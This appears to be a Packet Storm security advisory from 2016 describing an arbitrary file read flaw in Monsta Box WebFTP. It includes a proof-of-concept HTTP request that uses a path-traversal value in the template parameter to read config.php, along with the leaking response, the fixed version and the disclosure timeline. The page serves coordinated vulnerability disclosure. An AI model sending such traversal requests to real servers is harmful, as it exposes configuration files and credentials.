exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Monsta Box WebFTP Arbitrary File Read

Monsta Box WebFTP Arbitrary File Read
Posted Apr 8, 2016
Authored by Imre Rad

Monsta Box WebFTP suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | 17b16ca800abe893b240e9494d98637b640c281294456b8dcb365bb6eb74581f

Monsta Box WebFTP Arbitrary File Read

Change Mirror Download
Application
-----------
"MONSTA Box is a lightweight open-source file manager you can install on
your website or server * to easily manage your files through any browser."
(Description from the official website http://www.monstahq.com/)


Vulnerability
-------------
The Monsta Box WebFTP application supports file templates when creating
new files. The template parameter is part of the HTTP request so it is a
user input and it was not sanitized correctly. By sending a HTTP request
with modified template parameter it was possible to traverse the
template directory and read arbitrary files (in context of the Monsta
Box WebFTP application).


PoC
---
A proof of concept request/response to read the config.php file of the
Monsta Box installation (note the template parameter of the HTTP request):

POST /? HTTP/1.1
Host: somehost
Referer: http://somereferer/
Content-Length: 352
Cookie: PHPSESSID=somecookie


&ftpAction=newFile&=Refresh&=Download&=Cut&=Copy&=Paste&=Rename&=Delete&=Logout&newFile=xxx&template=..%2Fconfig.php&=OK&=Cancel&=~&=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&folderAction[]=&=New%20Folder&=New%20File&=Fetch%20File&=Upload%20Files&=Repeat%20Upload&windowWidth=1280&windowHeight=913

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 27 Mar 2016 19:34:21 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache

1cac
<div id="blackOutDiv"><div id="popupFrame" style="left: 110px; top:
60px; width: 1030px;"><div id="popupHeaderAction">Editing:
/xxx</div><div id="popupBodyAction" style="height: 693px;"><input
type="hidden" name="file" value="~/xxx"><textarea name="editContent"
id="editContent" style="height: 608px;"><?php

# Open README file for descriptions and help.

$ftpHost = "somehost";
$ftpPort = "21";

...


Affected versions
-----------------
The above vulnerability was fixed in version 1.8.3. Older versions of
Monsta Box with template support are vulnerable.


Timeline
--------
2016-03-29: Vendor contacted for appropriate contact person to report to
2016-03-30: Vulnerability was reported
2016-03-31: Fixed version was published
2016-04-07: Public disclosure


Discovered by
-------------
Imre RAD
www.search-lab.hu
www.scademy.com



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close